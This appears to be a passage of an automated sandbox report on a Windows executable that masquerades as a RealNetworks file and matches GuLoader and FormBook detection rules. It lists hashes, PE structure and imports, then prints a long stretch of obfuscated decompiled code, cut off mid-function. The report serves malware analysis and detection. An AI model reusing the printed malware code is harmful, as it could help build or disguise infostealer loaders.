              • Excluded domains from analysis (whitelisted): store-images.s-microsoft.com-c.edgekey.net, iris-de-prod-azsc-neu-b.northeurope.cloudapp.azure.com, a767.dspw65.akamai.net, a1449.dscg2.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, arc.msn.com, e12564.dspb.akamaiedge.net, wns.notify.trafficmanager.net, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, arc.trafficmanager.net, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, client.wns.windows.com, fs.microsoft.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, wu-shim.trafficmanager.net, neu-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, ris-prod.trafficmanager.net, asf-ris-prod-neu.northeurope.cloudapp.azure.com, ctldl.windowsupdate.com, e1723.g.akamaiedge.net, download.windowsupdate.com.edgesuite.net, ris.api.iris.microsoft.com, store-images.s-microsoft.com, displaycatalog-rp.md.mp.microsoft.com.akadns.net
              • Not all processes where analyzed, report is missing behavior information
              • VT rate limit hit for: /opt/package/joesandbox/database/analysis/501914/sample/AfWu3i35ny.exe

              Simulations

              Behavior and APIs

              No simulations

              Joe Sandbox View / Context

              IPs

              No context

              Domains

              No context

              ASN

              No context

              JA3 Fingerprints

              No context

              Dropped Files

              No context

              Created / dropped Files

              No created / dropped files found

              Static File Info

              General

              File type:PE32 executable (GUI) Intel 80386, for MS Windows
              Entropy (8bit):6.957088133300485
              TrID:
              • Win32 Executable (generic) a (10002005/4) 99.15%
              • Win32 Executable Microsoft Visual Basic 6 (82127/2) 0.81%
              • Generic Win/DOS Executable (2004/3) 0.02%
              • DOS Executable Generic (2002/1) 0.02%
              • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
              File name:AfWu3i35ny.exe
              File size:307200
              MD5:25aa37e21c29b7cff02509533b585ed7
              SHA1:4374948e203cba151ebdc43e11e6e115046270e9
              SHA256:740a2bc7e9c8eeed76ef0f812c6c89af35c414317d76ac5b50b28ca0728d103b
              SHA512:8cb7b92766fd27a1bc888f39e3dedbb73b5e8ca58b8790a9818d8d08f0964fa4c1bc5528d9ea062a76293cdf101d43fbd0790ed8bf7fca9c251825a4ce7d61ae
              SSDEEP:6144:w7XxnWJoyJuoMQF9CxX/tO7JS4PIcJaL:w7BnkRMQHg/tGTPBU
              File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........#...B...B...B..L^...B...`...B...d...B..Rich.B..........PE..L.....TR.................@...`......h........P....@.............B..

              File Icon

              Icon Hash:20047c7c70f0e004

              Static PE Info

              General

              Entrypoint:0x401868
              Entrypoint Section:.text
              Digitally signed:false
              Imagebase:0x400000
              Subsystem:windows gui
              Image File Characteristics:LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
              DLL Characteristics:
              Time Stamp:0x52548ACC [Tue Oct 8 22:44:28 2013 UTC]
              TLS Callbacks:
              CLR (.Net) Version:
              OS Version Major:4
              OS Version Minor:0
              File Version Major:4
              File Version Minor:0
              Subsystem Version Major:4
              Subsystem Version Minor:0
              Import Hash:c727a98e677fb7bd25bb06d2a2d956f1

              Entrypoint Preview

              Instruction
              push 00439BD0h
              call 00007F2360E34E15h
              add byte ptr [eax], al
              add byte ptr [eax], al
              add byte ptr [eax], al
              xor byte ptr [eax], al
              add byte ptr [eax], al
              inc eax
              add byte ptr [eax], al
              add byte ptr [eax], al
              add byte ptr [eax], al
              add byte ptr [edi-7DACF77Bh], ah
              xor edx, dword ptr [ecx+4Ch]
              mov byte ptr [edx+0Fh], dl

              Data Directories

              NameVirtual AddressVirtual Size Is in Section
              IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
              IMAGE_DIRECTORY_ENTRY_IMPORT0x441540x28.text
              IMAGE_DIRECTORY_ENTRY_RESOURCE0x460000x4562.rsrc
              IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
              IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
              IMAGE_DIRECTORY_ENTRY_BASERELOC0x00x0
              IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
              IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
              IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
              IMAGE_DIRECTORY_ENTRY_TLS0x00x0
              IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
              IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x2280x20
              IMAGE_DIRECTORY_ENTRY_IAT0x10000x154.text
              IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
              IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
              IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

              Sections

              NameVirtual AddressVirtual SizeRaw SizeXored PEZLIB ComplexityFile TypeEntropyCharacteristics
              .text0x10000x436900x44000False0.670539407169data7.17479842318IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
              .data0x450000xaf00x1000False0.00634765625data0.0IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
              .rsrc0x460000x45620x5000False0.3958984375data4.60998662802IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

              Resources

              NameRVASizeTypeLanguageCountry
              DATA0x46a740x3aeeMS Windows icon resource - 3 icons, 48x48, 32 bits/pixel, 32x32, 32 bits/pixelEnglishUnited States
              RT_ICON0x469440x130data
              RT_ICON0x4665c0x2e8data
              RT_ICON0x465340x128GLS_BINARY_LSB_FIRST
              RT_GROUP_ICON0x465040x30data
              RT_VERSION0x461a00x364dataEnglishUnited States

              Imports

              DLLImport
              MSVBVM60.DLL_CIcos, _adj_fptan, __vbaVarMove, __vbaFreeVar, __vbaStrVarMove, __vbaFreeVarList, _adj_fdiv_m64, _adj_fprem1, __vbaSetSystemError, __vbaHresultCheckObj, __vbaLenBstrB, _adj_fdiv_m32, __vbaAryDestruct, __vbaOnError, __vbaObjSet, _adj_fdiv_m16i, __vbaObjSetAddref, _adj_fdivr_m16i, __vbaFpR8, _CIsin, __vbaChkstk, EVENT_SINK_AddRef, __vbaGenerateBoundsError, __vbaStrCmp, __vbaAryConstruct2, __vbaObjVar, DllFunctionCall, _adj_fpatan, __vbaRedim, EVENT_SINK_Release, _CIsqrt, EVENT_SINK_QueryInterface, __vbaExceptHandler, _adj_fprem, _adj_fdivr_m64, __vbaI2Str, __vbaFPException, _CIlog, __vbaNew2, _adj_fdiv_m32i, _adj_fdivr_m32i, __vbaStrCopy, __vbaI4Str, __vbaDerefAry1, _adj_fdivr_m32, _adj_fdiv_r, __vbaStrToAnsi, __vbaVarDup, __vbaFpI4, __vbaLateMemCallLd, _CIatan, __vbaStrMove, _allmul, __vbaLateIdSt, _CItan, _CIexp, __vbaFreeObj, __vbaFreeStr

              Version Infos

              DescriptionData
              Translation0x0409 0x04b0
              LegalCopyrightRealNetworks, Inc.
              InternalNameDikter
              FileVersion66.00
              CompanyNameRealNetworks, Inc.
              LegalTrademarksRealNetworks, Inc.
              CommentsRealNetworks, Inc.
              ProductNameRealNetworks, Inc.
              ProductVersion66.00
              FileDescriptionRealNetworks, Inc.
              OriginalFilenameDikter.exe

              Possible Origin

              Language of compilation systemCountry where language is spokenMap
              EnglishUnited States

              Network Behavior

              No network behavior found

              Code Manipulations

              Statistics

              CPU Usage

              Click to jump to process

              Memory Usage

              Click to jump to process

              System Behavior

              General

              Start time:12:08:38
              Start date:13/10/2021
              Path:C:\Users\user\Desktop\AfWu3i35ny.exe
              Wow64 process (32bit):true
              Commandline:'C:\Users\user\Desktop\AfWu3i35ny.exe'
              Imagebase:0x400000
              File size:307200 bytes
              MD5 hash:25AA37E21C29B7CFF02509533B585ED7
              Has elevated privileges:true
              Has administrator privileges:true
              Programmed in:Visual Basic
              Yara matches:
              • Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.834854327.00000000021C0000.00000040.00000001.sdmp, Author: Joe Security
              • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000000.00000000.306440334.0000000000401000.00000020.00020000.sdmp, Author: Joe Security
              • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000000.00000000.306440334.0000000000401000.00000020.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
              • Rule: Formbook, Description: detect Formbook in memory, Source: 00000000.00000000.306440334.0000000000401000.00000020.00020000.sdmp, Author: JPCERT/CC Incident Response Group
              • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmp, Author: Joe Security
              • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
              • Rule: Formbook, Description: detect Formbook in memory, Source: 00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmp, Author: JPCERT/CC Incident Response Group
              Reputation:low

              Disassembly

              Code Analysis

              Reset < >

                Executed Functions

                APIs
                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                • Associated: 00000000.00000002.833073044.0000000000400000.00000002.00020000.sdmp Download File
                • Associated: 00000000.00000002.833343438.0000000000445000.00000004.00020000.sdmp Download File
                • Associated: 00000000.00000002.833358245.0000000000446000.00000002.00020000.sdmp Download File
                Yara matches
                Similarity
                • API ID: #100
                • String ID: VB5!6&*
                • API String ID: 1341478452-3593831657
                • Opcode ID: fd1bbbb550107ef3b20b4fb1b84b42a13138fe96c3ed7afa1305b117e517888b
                • Instruction ID: cd694dff9c44c4da9417a3f0dbe3803293d70bb7e3351407d022ee56a8af8329
                • Opcode Fuzzy Hash: fd1bbbb550107ef3b20b4fb1b84b42a13138fe96c3ed7afa1305b117e517888b
                • Instruction Fuzzy Hash: E9E04E0044E3C28EC343A7BA4864802BF306D2321030F92EBC0C0DE1E3C2AC880AC377
                Uniqueness

                Uniqueness Score: -1.00%

                Memory Dump Source
                • Source File: 00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                • Associated: 00000000.00000002.833073044.0000000000400000.00000002.00020000.sdmp Download File
                • Associated: 00000000.00000002.833343438.0000000000445000.00000004.00020000.sdmp Download File
                • Associated: 00000000.00000002.833358245.0000000000446000.00000002.00020000.sdmp Download File
                Yara matches
                Similarity
                • API ID:
                • String ID:
                • API String ID:
                • Opcode ID: ac1db22dee1e923d1464bc0c750a971a6580d745193fbc21ad7634820089ab7d
                • Instruction ID: 0d9f6732cac2d99d2473d363d9c7d0b3d51933e884d0bd0e232a71569e071a49
                • Opcode Fuzzy Hash: ac1db22dee1e923d1464bc0c750a971a6580d745193fbc21ad7634820089ab7d
                • Instruction Fuzzy Hash: C9B01224388201DB56104BB45C41B302180E2887C27347C37F550CE190DB5CCD00C16D
                Uniqueness

                Uniqueness Score: -1.00%

                Memory Dump Source
                • Source File: 00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                • Associated: 00000000.00000002.833073044.0000000000400000.00000002.00020000.sdmp Download File
                • Associated: 00000000.00000002.833343438.0000000000445000.00000004.00020000.sdmp Download File
                • Associated: 00000000.00000002.833358245.0000000000446000.00000002.00020000.sdmp Download File
                Yara matches
                Similarity
                • API ID:
                • String ID:
                • API String ID:
                • Opcode ID: c12648134acc88af77fa060f14f1c3e03b2f0c5dc519c29d215af08530833435
                • Instruction ID: 9449c195760c07202699904f6e96c1ec75d16a895e5623e6870e6dd81012e042
                • Opcode Fuzzy Hash: c12648134acc88af77fa060f14f1c3e03b2f0c5dc519c29d215af08530833435
                • Instruction Fuzzy Hash: ADB01228788105DB560047E44C0373121C0E2883C17206C33F900C21B0C75CCD0049AD
                Uniqueness

                Uniqueness Score: -1.00%

                Non-executed Functions

                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.834854327.00000000021C0000.00000040.00000001.sdmp, Offset: 021C0000, based on PE: false
                Yara matches
                Similarity
                • API ID:
                • String ID: 1~#|$8Q$V$zY$r
                • API String ID: 0-1452640971
                • Opcode ID: 31c93057a0c76c667680da44a157a680cb05ecc35116cb0431d7db57a6e55a30
                • Instruction ID: 50c952f2b61562900858b88c4f0a43d00387f1e712346ea2b404c99f995194be
                • Opcode Fuzzy Hash: 31c93057a0c76c667680da44a157a680cb05ecc35116cb0431d7db57a6e55a30
                • Instruction Fuzzy Hash: 71F12375A403898FDF349F74CD94BEE37A6AF65340FA2412EDC89AB240D7318A81CB41
                Uniqueness

                Uniqueness Score: -1.00%

                C-Code - Quality: 33%
                			E00421E50(void* _a123418689) {
                				void* _v3;
                				void* _v1486744439;
                				void* _v2018089776;
                				signed char _t55;
                				signed int _t56;
                				signed int _t59;
                				intOrPtr _t61;
                				intOrPtr _t62;
                				signed int _t64;
                				signed int _t65;
                				signed int _t69;
                				void* _t79;
                				signed char _t81;
                				signed char _t82;
                				signed int _t83;
                				signed int _t84;
                				signed char _t97;
                				signed char _t99;
                				signed char _t103;
                				signed int _t105;
                				signed char _t107;
                				signed char _t114;
                				signed char _t118;
                				signed char _t122;
                				signed int _t126;
                				signed char _t127;
                				signed char _t131;
                				intOrPtr _t135;
                				signed int _t136;
                				signed int _t140;
                				signed int _t141;
                				void* _t142;
                				signed char _t146;
                				signed char _t147;
                				signed char _t151;
                				signed int _t152;
                				signed char _t153;
                				signed char _t155;
                				void* _t156;
                				signed int _t157;
                				signed char _t163;
                				void* _t164;
                				signed char _t169;
                				signed char _t170;
                				signed char _t171;
                				signed char _t172;
                				signed char _t173;
                				void* _t174;
                				signed int _t196;
                				signed int _t201;
                				signed int _t202;
                				void* _t203;
                				signed int _t214;
                				signed int _t216;
                				signed int _t217;
                				signed int _t218;
                				void* _t226;
                				signed int _t229;
                				void* _t231;
                				signed int _t239;
                				signed int _t243;
                				signed int _t244;
                				signed int _t245;
                				signed int _t247;
                				signed int _t249;
                				intOrPtr _t253;
                				signed int _t254;
                				signed int _t255;
                				signed int _t257;
                				intOrPtr _t267;
                				signed char _t288;
                				signed int _t311;
                
                				L1:
                				if(( *0x82b21f09 & _t239) < 0) {
                					asm("adc edx, [0x3ff41a8e]");
                					_push(_t218);
                					if(( *0xcc28297d * 0x00000d95 |  *0x1dc9a9fb) >= 0) {
                						 *0x76a6130c = _t97;
                						_t56 = _t55 |  *0x423673d0;
                						_t99 =  *0x76a6130c + 1;
                						_pop( *0xa0e899cf);
                						_t155 = (_t153 | 0x00000028) ^ 0x0000001a;
                						asm("rol dword [0xe405e7fa], 0xa4");
                						asm("sbb ch, 0xa2");
                						asm("adc ah, 0xb0");
                						 *0xb60df908 =  *0xb60df908 ^ _t99;
                						_pop(_t174);
                						L1();
                						asm("sbb edi, [0xd681398]");
                						_push(_t99);
                						if( *0xbd13d098 >= _t174 && _t196 == 0x214e7416) {
                							 *0x5230e57a =  *0x5230e57a ^ _t56;
                							 *0x70d77b9d = _t99;
                							asm("ror dword [0x99c53d1f], 0xef");
                							asm("scasd");
                							_t59 =  *0x411a232d;
                							if((_t56 &  *0x1f10d12d &  *0xa58758c) < 0) {
                								_t135 =  *0xe3e24909;
                								asm("cmpsb");
                								_t61 = (_t59 |  *0x2e2e3b71) -  *0xefbd98a2;
                								_t267 = _t61;
                								_push( *0xa5e80595);
                								if(_t267 >= 0) {
                									asm("rol dword [0xaf91a70], 0xe7");
                									if(_t267 >= 0) {
                										asm("adc [0xc09efb70], ebx");
                										 *0x4e6ea9b8 =  *0x4e6ea9b8 >> 0xd4;
                										_push( *0x6c0aebbc);
                										 *0x5280526 =  *0x5280526 - _t155;
                										 *0xf560feb =  *0xf560feb >> 0x32;
                										_t62 =  *0xe3e271e6;
                										 *0xe3e271e6 = _t61;
                										asm("sbb [0x258c1280], dl");
                										_t136 = _t135 - 0x91d867d4;
                										_push(_t136);
                										asm("rol dword [0xa79a79d8], 0xd5");
                										 *0x2bf8a4b8 =  *0x2bf8a4b8 << 0x14;
                										asm("adc ebx, [0xef345bd3]");
                										asm("sbb edi, 0x5519949c");
                										_t201 = 0x48f5dabe +  *0x53882fec;
                										if(0x48f5dabe == 0) {
                											asm("adc bh, 0x2a");
                											asm("rcl dword [0x77262d2f], 0xbe");
                											_t202 =  *0xee71df29;
                											 *0xee71df29 = _t201;
                											 *0x1e4a4b9b =  *0x1e4a4b9b | _t202;
                											_push( *0xca872131);
                											 *0xb813c612 = _t99 &  *0xb666e230;
                											_t156 = _t155 +  *0x542d821f;
                											_push(0xe5b3ea3b);
                											asm("rcr dword [0x11a3b561], 0x9e");
                											_t64 = _t62 + 1 - 0xdfd9f5db;
                											L1();
                											asm("sbb [0x5cf10d94], esp");
                											asm("rcr dword [0xf9219bfe], 0xc0");
                											asm("rol dword [0xb7753807], 0xea");
                											if(0xbd524dbd > 0) {
                												_t243 =  *0x1c1bfa7e * 0xb1db;
                												_t157 = _t156 - 0x60603e07;
                												_t203 = _t202 -  *0x6b824697;
                												 *0x7d6f089a =  *0x7d6f089a + 0xbd524dbd;
                												asm("sbb eax, 0x3e1897c2");
                												asm("ror dword [0x15935ccc], 0x1e");
                												if( *0x7d6f089a <= 0) {
                													 *0x9ee2d177 =  *0x9ee2d177 - _t203;
                													asm("adc edi, 0x3fa31df4");
                													asm("rcl byte [0x8cd9b98a], 0x72");
                													_t103 =  *0x1b813e6a * 0x3a7e;
                													if(_t136 >= 0x20) {
                														asm("sbb edi, [0x6cb32378]");
                														 *0x3c836584 =  *0x3c836584 ^ _t157;
                														_t65 = _t64 &  *0x14d005c2;
                														asm("scasb");
                														 *0xbecefc22 =  *0xbecefc22 >> 0xf7;
                														if(_t65 != 0) {
                															_push( *0x840b4974);
                															asm("adc esi, [0xd609eef1]");
                															 *0x95b079e0 =  *0x95b079e0 & _t103;
                															 *0x4088b50b =  *0x4088b50b & _t65;
                															asm("sbb [0x62733d2], bl");
                															_push( *0xb88db95);
                															asm("adc dl, 0x1c");
                															if( *0xaed3a6e6 == _t103) {
                																 *0x95830575 =  &_v3;
                																asm("sbb esp, [0xec0e88db]");
                																 *0xb4b395de =  *0xb4b395de ^ _t136;
                																 *0xa606230e =  *0xa606230e << 0x2b;
                																 *0x2f7b408f =  *0x2f7b408f >> 9;
                																asm("adc esi, 0x391284bc");
                																_t105 = _t103 - 0x00000084 | 0x6f2a5f92;
                																asm("rol byte [0x72cd0912], 0x8c");
                																asm("adc edx, [0xcec33668]");
                																_t244 = _t243 |  *0x2eb59ffb;
                																asm("rol dword [0xbcb9d999], 0x27");
                																asm("movsw");
                																asm("sbb ecx, [0xe90a0df8]");
                																 *0xa6ae3da8 =  *0xa6ae3da8 | _t157;
                																if( *0xa6ae3da8 >= 0) {
                																	_t140 =  *0x10d0852d;
                																	 *0x7d198ae6 =  *0x7d198ae6 & _t140;
                																	if( *0x7d198ae6 < 0) {
                																		asm("sbb ebx, [0x7f5a2773]");
                																		_t141 = _t140 ^  *0x34b9ffbf;
                																		_pop(_t69);
                																		_push( *0x135e096d);
                																		 *0xc10a22f4 =  *0xc10a22f4 + 0xbd524dbd;
                																		asm("sbb [0xa95b56c], edi");
                																		_t107 = (_t105 | 0xb34fcaf4) &  *0xa701489c;
                																		_t245 = _t244 -  *0xac17eb9f;
                																		asm("sbb cl, 0x2a");
                																		 *0xbfec8795 =  *0xbfec8795 |  &_a123418689 |  *0xebea77ea;
                																		 *0xad4582f1 =  *0xad4582f1 >> 0x7b;
                																		if((_t69 &  *0x62e0f707) <  *0xc30942c5) {
                																			asm("adc esp, [0xed661b73]");
                																			_t288 = _t107 |  *0x88aec6b2;
                																			if(_t288 >= 0) {
                																				asm("adc esp, 0x3a3ef278");
                																				if(_t288 >= 0) {
                																					 *0x15c8e870 =  *0x15c8e870 | _t157;
                																					asm("ror dword [0x5ff42fd3], 0xa");
                																					 *0x1df4f3f1 =  *0x1df4f3f1 >> 0x7e;
                																					if( *0x1df4f3f1 >= 0) {
                																						asm("adc eax, [0x857b8778]");
                																						if(0xbe2012ee < 0x7e7e73ef) {
                																							 *0x1ec4f586 =  *0x1ec4f586 >> 0x89;
                																							asm("sbb [0xae9bf6be], esi");
                																							asm("stosb");
                																							if(0xbe2012ee > 0) {
                																								asm("sbb ebp, 0xfbe32c76");
                																								_push(_t141);
                																								_push(0x7ee3dc83);
                																								asm("rcr dword [0xfa5063dd], 0x0");
                																								asm("sbb ecx, [0xa13318ba]");
                																								_t142 = _t141 - 0xd7;
                																								asm("sbb edi, 0x3a6a76cc");
                																								_t247 = _t245 &  *0xe49eb025 | 0x80c0b0d3;
                																								asm("adc [0x77448ce2], dh");
                																								_push( *0x5c3ed16f);
                																								 *0xb4d8ec05 = 0x0000000c |  *0xe416722c;
                																								 *0x4ce56188 =  *0x4ce56188 >> 0xd5;
                																								if( *0x4ce56188 < 0) {
                																									 *0x513c7c65 =  *0x513c7c65 & _t247;
                																									asm("adc bh, [0x709f5da2]");
                																									asm("sbb edx, [0xfa4c56d5]");
                																									asm("sbb esp, [0x6e2801f4]");
                																									 *0xf38ef19c =  *0xf38ef19c + _t142;
                																									_pop(_t79);
                																									asm("sbb ah, 0x2c");
                																									asm("sbb ebp, [0xe510cf95]");
                																									 *0xc11e9fa0 =  *0xc11e9fa0 << 0xd3;
                																									 *0x4a8657cd =  *0x4a8657cd << 0x4d;
                																									if( *0x4a8657cd < 0) {
                																										asm("adc eax, [0xaf6cf68c]");
                																										 *0xc77500e7 =  *0xc77500e7 + _t79;
                																										asm("rol byte [0x63e58980], 0x30");
                																										_pop(_t226);
                																										 *0x2b03e137 =  *0x2b03e137 >> 0x99;
                																										_push( *0x8a9c116a * 0x4950);
                																										if(0xbd524dbd == 0) {
                																											 *0x5f91575 =  *0x5f91575 & 0x89be10ba;
                																											asm("adc al, [0xcc1205f9]");
                																											asm("sbb edi, [0x5f92692]");
                																											 *0xe46a05f9 =  *0xe46a05f9 - _t79;
                																											asm("rol byte [0xd54e05f9], 0xfb");
                																											 *0x3f9248c =  *0x3f9248c | _t247;
                																											if( *0x3f9248c <= 0) {
                																												_t114 =  *0x47f6a7f * 0x841;
                																												 *0x446a2e1 =  *0x446a2e1 | _t114;
                																												asm("adc [0x46a8f72f], esi");
                																												 *0xaafe3004 = 0x14;
                																												_t146 = 0x14 +  *0x91c6d805;
                																												asm("lodsb");
                																												 *0x21492c80 =  *0x21492c80 ^ _t146;
                																												 *0x1c322895 =  *0x1c322895 + _t226;
                																												 *0xf3086d23 =  *0xf3086d23 & 0xeb677079;
                																												_t118 = (_t114 &  *0x3505f930) - 0x00000001 ^  *0xb7e0b602 |  *0xcf0a2b08;
                																												 *0xed75c4f0 =  *0xed75c4f0 & _t118;
                																												_t147 = _t146 | 0x000000e7;
                																												_t163 =  *0xe9076d1b | 0x00000008;
                																												asm("movsw");
                																												_t249 =  *0x8e7e267 +  *0x28fed66;
                																												_t81 = _t79 -  *0xe7d8f2fe ^ 0x000000f6;
                																												 *0xe775d010 =  *0xe775d010 & _t118;
                																												 *0xf7ab509 =  *0xf7ab509 - 0x89be10ba;
                																												asm("movsw");
                																												 *0xb565c305 =  *0xb565c305 >> 0xac;
                																												_t311 =  *0x50610995 & 0xeb677079;
                																												if(_t311 >= 0 && _t311 == 0) {
                																													 *0xceaa1075 =  *0xceaa1075 << 0x1e;
                																													_t82 = _t81 &  *0x8bf063e2;
                																													asm("adc dh, 0xc6");
                																													if(_t82 >= 0) {
                																														asm("adc eax, [0xe7ec73bc]");
                																														 *0x599eff11 = _t147;
                																														asm("ror dword [0x8ed4069a], 0xf4");
                																														asm("sbb ch, [0xb2f23f14]");
                																														asm("rol byte [0x4f968828], 0x93");
                																														asm("adc esp, [0xcc9924b8]");
                																														asm("sbb edx, [0x6ae7dc9e]");
                																														 *0xc298012 =  *0xc298012 | _t147 - 0x00000001;
                																														 *0x5e9c081f =  *0x5e9c081f - (_t249 ^ 0x47aa1c83);
                																														_t164 = _t163 + 0xcfaf16de;
                																														_t83 = _t82 |  *0xe917ace3;
                																														 *0xbf89236 =  *0xbf89236 >> 0xf2;
                																														asm("stosd");
                																														_t229 =  *0xf07eeb60 * 0x61a5;
                																														_push( *0xdee42c06);
                																														if( *0x9b643397 >= _t164) {
                																															 *0x308ece07 =  *0x308ece07 >> 0xa6;
                																															_push(_t164);
                																															if(0xeb677079 <=  *0x166ddc61) {
                																																 *0x6047bcbe =  *0x6047bcbe ^ _t229;
                																																_push(0x8b98e478);
                																																 *0x7a945025 =  *0x7a945025 | 0x5780379f;
                																																asm("adc ebx, [0xbc0711ed]");
                																																 *0x86cfca37 =  *0x86cfca37 << 0xe3;
                																																_t84 = _t83 ^  *0x1ede5ed6;
                																																asm("rol dword [0x1cd11a8c], 0xb6");
                																																asm("sbb [0xbfdcaf9b], ecx");
                																																asm("sbb ch, 0xb4");
                																																asm("adc dl, 0x2");
                																																if((_t229 ^  *0xafc5898) >= 0) {
                																																	_t122 =  *0x1b92cf7c * 0xeab0;
                																																	_push(_t122);
                																																	if(_t122 != 0) {
                																																		 *0xcbfc2274 =  *0xcbfc2274 << 0xaf;
                																																		 *0x4c44a4f7 =  *0x4c44a4f7 + 0x3e0062a9;
                																																		_t231 = 0x89be10ba;
                																																		 *0xd9578ece =  *0xd9578ece + _t231;
                																																		asm("movsw");
                																																		asm("adc eax, [0xc8dfd4b9]");
                																																		 *0x886ab2c0 =  *0x886ab2c0 + 0xeb677079;
                																																		asm("adc eax, [0xd725c7ce]");
                																																		 *0xef1fab25 = 0x8180460;
                																																		 *0xf1ccb1e7 =  *0xf1ccb1e7 &  *0x439d10b4;
                																																		_t214 =  *0x79d990bb;
                																																		 *0x79d990bb =  *0xccd94e16;
                																																		_t253 =  *0x87933492;
                																																		asm("rcr dword [0x243dcfc4], 1");
                																																		 *0x41d02a12 = _t84;
                																																		asm("ror byte [0x310df5c6], 0xc7");
                																																		asm("rol dword [0x84dbe4fe], 0x6b");
                																																		asm("ror byte [0x4f2f2c2a], 0xcf");
                																																		 *0x913386b8 =  *0x41d02a12;
                																																		asm("sbb ebx, 0x952dab9c");
                																																		_t126 = ((_t122 & 0x000000d2) +  *0xf1fdaab6 | 0x000000e6) + 1;
                																																		_t151 =  *0x958b4298 | 0x000000e0;
                																																		 *0x1184e266 =  *0x1184e266 >> 0x62;
                																																		 *0x69df2666 = _t214;
                																																		 *0xf179c3cf =  *0xf179c3cf & _t126;
                																																		_push(0x7d70f7df);
                																																		_push(0x199d1cfe);
                																																		asm("adc ebp, [0x897519d1]");
                																																		asm("rol dword [0x6f462fbf], 0x74");
                																																		 *0xc6086abb =  *0xc6086abb - (( *0x913386b8 - 0x000000d0 |  *0x6556aa2e) & 0xc0);
                																																		asm("scasb");
                																																		 *0xb729dff2 =  *0xb729dff2 - 0x14;
                																																		asm("ror dword [0xe8f0d1d9], 0xd0");
                																																		 *0xa06bdc18 = 0x3e0062a5;
                																																		asm("sbb edi, [0x9a3584cc]");
                																																		_t169 = 0x3e0062a4 |  *0xcf9158b2;
                																																		 *0xe25b41c9 =  *0xe25b41c9 << 0xdc;
                																																		asm("sbb edx, 0x2532f");
                																																		if( *0xe25b41c9 == 0) {
                																																			asm("sbb ebx, 0x522595d9");
                																																			asm("adc ecx, [0xe25e086d]");
                																																			 *0x78c4dcb6 =  *0x78c4dcb6 << 0x88;
                																																			asm("rcl byte [0xe40fe7e7], 0xc0");
                																																			asm("rcr byte [0x4cfe4eb3], 0xc4");
                																																			_push(_t214);
                																																			 *0xc19bb82d =  *0xc19bb82d ^ _t214;
                																																			asm("lodsb");
                																																			_t127 = _t126 - 1;
                																																			_t152 =  *0x1680feb9;
                																																			 *0x1680feb9 = _t151;
                																																			asm("ror dword [0x84ed6a9e], 0xc6");
                																																			asm("sbb [0x9056b6f6], bh");
                																																			asm("ror dword [0xfad859bb], 0x15");
                																																			if(_t127 > 0 && 0x5780379f != 0) {
                																																				_t254 = _t253 -  *0x7f9512ed;
                																																				 *0x423ed53d =  *0x423ed53d >> 0xac;
                																																				_t170 =  *0x8dc05a0f;
                																																				 *0x8dc05a0f = _t169;
                																																				_t216 = (_t214 ^  *0xa17a5674) & 0xe8acf0fd;
                																																				 *0x989c1335 = _t254;
                																																				if(( *0x231820a & _t127) != 0) {
                																																					asm("adc edx, 0x10ebce74");
                																																					 *0x54ed77ca =  *0x54ed77ca - _t152;
                																																					asm("sbb [0xe1bb5c91], ebp");
                																																					asm("sbb ebx, [0x589d57ef]");
                																																					_pop( *0x989cd33b);
                																																					if( *0x1a15c60a != 0xc) {
                																																						 *0x18ebce74 =  *0x18ebce74 ^  &_v3;
                																																						asm("sbb esp, 0xce66c82d");
                																																						 *0x6a175c9 =  *0x6a175c9 - 0xc;
                																																						asm("cmpsw");
                																																						_t255 = _t254 ^  *0x78012007;
                																																						if(_t255 >= 0) {
                																																							asm("sbb ebx, 0xbfedc570");
                																																							_t171 =  *0xae03ab39;
                																																							 *0xae03ab39 = _t170;
                																																							_t217 = _t216 -  *0x860f67ec;
                																																							 *0xae304ee2 =  *0xae304ee2 << 0x86;
                																																							_pop( *0x5de3469f);
                																																							asm("rcr dword [0xc875b611], 0x9d");
                																																							asm("scasb");
                																																							 *0xaed1b0df =  *0xaed1b0df ^ 0x8e789d87;
                																																							if( *0xaed1b0df > 0) {
